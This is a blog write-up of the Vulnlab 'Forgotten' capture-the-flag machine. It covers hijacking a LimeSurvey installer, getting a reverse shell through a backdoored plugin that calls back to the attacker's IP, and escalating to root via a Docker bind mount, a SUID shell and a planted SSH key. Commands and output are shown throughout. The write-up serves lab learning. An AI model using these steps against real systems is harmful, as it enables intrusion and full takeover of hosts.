Skip to main content

Vulnlab Forgotten walkthrough

·1814 words·9 mins·
Wirzka

Machine details
#

MachineOSDifficulty
ForgottenLinuxEasy

Reconnaissance
#

TCP scan:

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 62

TCP script scan:

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 1f:52:a4:cf:2c:72🆎f2:fd:29:4d:9a:2d:d7:ad:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJi2eqVlybXNbKn6PRL7llVCOiSdOqzvpsH+MrhG10yrccKRk5nUx8kJ+VjaU1h5yOIJt1f+Aq7xiwGUrQ1W0bc=
|   256 9b:5f:86:f9:48:ea:0c:18:8f:9b:c5:fa:36:f6:37:8c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBsfJC+Ck+W9BvUFhcy5VXYqB69UXnkS81MAwFcEpAZe
80/tcp open  http    syn-ack ttl 62 Apache httpd 2.4.56
|_http-server-header: Apache/2.4.56 (Debian)
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: 403 Forbidden
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Given the open ports, I tried to find something interesting on the HTTP service with


 :: Method           : GET
 :: URL              : http://10.10.76.47:80/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.htaccess               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 589ms]
.htpasswd               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 590ms]
.hta                    [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 1165ms]
                        [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 1754ms]
server-status           [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 6ms]
survey                  [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 5ms]
:: Progress: [4614/4614] :: Job [1/1] :: 97 req/sec :: Duration: [0:00:04] :: Errors: 0 ::

SITREP
#

  • 2 open TCP ports, 22 con OpenSSH e 80 con Apache 2.4.56.
  • There’s an uncommon directory on the HTTP service survey.

HTTP analysis
#

Browsing survey directory brought me to LimeSurvey installer, where I got the running version number: 6.3.7 and a few other information about the platform.

Context: LimeSurvey is an open source survey tool having both community and paid version ( https://community.limesurvey.org/).

Known vulnerabilities

Looking for known vulnerabilities on the web, I immediately found the platform in the version 5.2.x is prone to a RCE vulnerability via the authenticated and privileged upload of a backdoored plugin. On Exploit DB there is this reference https://www.exploit-db.com/exploits/50573 and on GitHub it is available a repo from the author: https://github.com/Y1LD1R1M-1337/Limesurvey-RCE.

Going on

Looking through the data presented at the page I got, I found few other directories, but each one gave me a 403 HTTP status code. Having finished the ideas, I followed the installation process which lead me to the DB creation page where I had to insert various info such as:

  • DB Address.
  • DB user.
  • DB user’s password.

I put some data such as localhost, root, root, etc., but the creation failed and showed me errors such as the following:

Please fix the following input errors:
- Try again! Connection with database failed.
- Reason: CDbConnection failed to open the DB connection.
- Try again! Creation of database failed.
- Could not create database: CREATE DATABASE 'limedb' [...]

Setting up my DB service

After a trial and error phase, I had the idea to set up a DB on my attacker machine and point the configuration to it. Buuuut, I’m quite lazy, and since we have access to some interesting technology know as LLMs, I gently asked ChatGPT to create me a script to do all the necessary based on the LimeSurvey guide: https://manual.limesurvey.org/Installation_-_LimeSurvey_CE.

The following was the pretty bad prompt I gave to ChatGPT:

I’m on kali linux, I have to create a mariadb DB for Limesurvey. The DB user must have these privileges SELECT, CREATE, INSERT, UPDATE, DELETE, ALTER, DROP, INDEX. I need to do it using a bash script.

And this is the bash script it generated, and which worked out of the box:

#!/bin/bash

# Configuration
DB_NAME="limesurveydb"
DB_USER="limesurveyuser"
DB_PASSWORD="lime"
BIND_ADDRESS="0.0.0.0" # Change this to a specific IP address if needed
REMOTE_IP="%" # Change this to the specific remote IP or use '%' for all IPs

# Function to check the success of each operation
check_success() {
    if [ $? -ne 0 ]; then
        echo "Error during: $1"
        exit 1
    fi
}

# Update the system and install MariaDB Server
echo "Updating the system and installing MariaDB Server..."
sudo apt update
sudo apt install -y mariadb-server
check_success "MariaDB Server installation"

# Configure MariaDB to listen on all network interfaces
echo "Configuring MariaDB to listen on all network interfaces..."
sudo sed -i "s/^bind-address.*/bind-address = $BIND_ADDRESS/" /etc/mysql/mariadb.conf.d/50-server.cnf
check_success "Updating bind-address"

# Restart MariaDB service to apply changes
echo "Restarting MariaDB service..."
sudo systemctl restart mariadb
check_success "MariaDB restart"

# Create the MariaDB database and user
echo "Creating MariaDB database and user..."
sudo mariadb -u root -e "
CREATE DATABASE $DB_NAME;
CREATE USER '$DB_USER'@'$REMOTE_IP' IDENTIFIED BY '$DB_PASSWORD';
GRANT SELECT, CREATE, INSERT, UPDATE, DELETE, ALTER, DROP, INDEX ON $DB_NAME.* TO '$DB_USER'@'$REMOTE_IP';
FLUSH PRIVILEGES;"
check_success "Database and user creation"

# Optionally configure the firewall to allow traffic on port 3306
echo "Configuring firewall to allow traffic on port 3306..."
sudo ufw allow 3306/tcp
check_success "Firewall configuration"

echo "Installation and configuration completed successfully!"

Once executed the script, I configured the LimeSurvey with my data. Then, I proceeded with the installation to the point I had to configure an admin account to log into the application after the installation. I tested the admin account and it worked.

SITREP
#

  • I own the DB where the platforms points to.
  • I have admin access to the platform.
  • I know about the RCE vulnerability exploitable post-authentication with an admin account.

Initial access
#

The natural move I followed was to test the exploit found earlier ( https://github.com/Y1LD1R1M-1337/Limesurvey-RCE. While checking at the mode, I adapted it to the context I was in. Basically, I did two very little changes:

  1. On config.xml I added the current version to the compatible ones:
[...]
  <compatibility>
        <version>3.0</version>
        <version>4.0</version>
        <version>5.0</version>
        <version>6.3.7</version>
    </compatibility>
    <updaters disabled="disabled"></updaters>
</config>
[...]
  1. Then, I modified IP and PORT on the PHP reverse shell code pointing to mine:
[...]
$ip = '10.8.1.200';  // CHANGE THIS
$port = 8000;       // CHANGE THIS
[...]

After it, I had to zip together both files to upload the ZIP archive at the URL http://10.10.127.179/survey/index.php/admin/pluginmanager?sa=index. Once uploaded, I proceeded with the installation, and finally I had to activate it in order to actually test it (The activation is available by expanding the 3-dot menu and click on Activate).

Show time

The final steps to test the exploitation was:

  1. Setting up a listener with the port I configured within the revshell file.
  2. Requesting the revshell by issuing a GET request to the URL http://10.10.127.179/survey/upload/plugins/Y1LD1R1M/php-rev.php.

…And it worked flawlessy:

$ nc -nvlp 8000
listening on [any] 8000 ...
connect to [10.8.1.200] from (UNKNOWN) [10.10.127.179] 36416
Linux efaa6f5097ed 6.2.0-1012-aws #12~22.04.1-Ubuntu SMP Thu Sep  7 14:01:24 UTC 2023 x86_64 GNU/Linux
 20:47:18 up 46 min,  0 users,  load average: 0.01, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc),27(sudo)
/bin/sh: 0: can't access tty; job control turned off
$

Host discovery
#

A seconds after the callback, I saw the docker id Linux efaa6f5097ed 6.2.0-1012-aws and double checked if there was the .dockerenv file on the root:

$ ls -la
total 80
drwxr-xr-x   1 root root 4096 Dec  2  2023 .
drwxr-xr-x   1 root root 4096 Dec  2  2023 ..
-rwxr-xr-x   1 root root    0 Dec  2  2023 .dockerenv
[...]

Well, another docker. So I checked the env values, and I got limesvc password which worked for the SSH!

[...]
LIMESURVEY_PASS=5W5HN4K4GCXf9E
PWD=/home/limesvc
[...]

I killed the shell popped on ncat, and continued with SSH.

SITREP
#

  • The exploit worked.
  • The host I got into is a docker container.
  • I have limesvc password.
  • I have access via SSH with limesvc.

Privilege escalation
#

Docker out, SSH in
#

By using SSH, I got into the host. Before anything else this was confirmed by the available interfaces and the missing of .dockerenv on the root. I spent a fair amount of time looking through configs, logs, permissions, etc. Then, I decided to go back to the docker just to give a more thorough check (I literally launched the two commands stated earlier).

SSH out, Docker in
#

Once back into the docker via the LimeSurvey exploitation, I fixed a bit the TTY by issuing script -q /dev/null -c bash just to see that the docker user was a command way from root:

limesvc@efaa6f5097ed:/$ sudo -l
sudo -l
[...]

User limesvc may run the following commands on efaa6f5097ed:
    (ALL : ALL) ALL
limesvc@efaa6f5097ed:/$

While I was looking at the docker configuration, I saw the mounting point for docker with findmnt:

root@efaa6f5097ed:/# findmnt
findmnt
TARGET                  SOURCE                     FSTYPE  OPTIONS
[...]
|
|
`-/var/www/html/survey  /dev/root[/opt/limesurvey] ext4    rw,relatime,discard,e
root@efaa6f5097ed:/#

Basically, it means that the docker folder /var/www/html/survey corresponds to the host folder /opt/limesurvey. To confirm this, it is enough to create a file on the docker via the reverse shell session, then check its presence on the host via the SSH session:

### Docker
root@efaa6f5097ed:/var/www/html/survey# mkdir test-from-docker
mkdir test-from-docker
root@efaa6f5097ed:/var/www/html/survey#

### Host 
limesvc@ip-10-10-200-233:/opt/limesurvey$ ls -la test-from-docker
total 8
drwxr-xr-x  2 root    root    4096 Aug 15 20:55 .
drwxr-xr-x 16 limesvc limesvc 4096 Aug 15 20:55 ..

Other than having a confirmation about it, the folder has been created with root privileges too. It is important to understand why it happened. This is due to at least two main reasons:

  1. By default, Docker does not automatically map user and group IDs between the host and the container, which causes users on both sides who have the same ID to write files that will belong to each other.
  2. On Linux, the user root has always the same ID, which is 0 by the way.

So, in this context, this mean I can write on the host files belonging to root, and modifying them as root.

User namespace Remapping
#

To mitigate the risk derived from using standard user and group IDs, Docker has a functionality which helps us to separate the container users from the host users. Keeping it simple: it will remap the container user ID to ad-hoc created host user ID that do not have any particular privilege.

Obviously this augments a bit the complexity for sysadmins and devs, and it is not always doable, but it’s important to know that a mitigation is available out there :) More on the topic here:

Root access on the host
#

To gain a root shell on the host and being a root on the Docker, I did the following:

From reverse shelI session

  • I copied a shell binary on the /var/www/html/survey folder.
  • I gave to it the SUID bit.

From SSH session

  • I just run the copied binary with the switch -p to actually use it as root, and got the root shell.
### Docker session
root@efaa6f5097ed:/var/www/html/survey# cp /bin/sh open
cp /bin/sh open

root@efaa6f5097ed:/var/www/html/survey# chmod u+s open
chmod u+s open

### Host session
limesvc@ip-10-10-200-233:/opt/limesurvey$ ./open -p
# whoami
root

Then, to gain full access I added my public key to root’s authorized keys giving me access via SSH:

ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" [email protected] -i id_rsa
root@ip-10-10-200-233:~# whoami;hostname;cat root.txt
root
ip-10-10-200-233
VL{*Thanks Vulnlab*}
Author
wirzka
Der suchende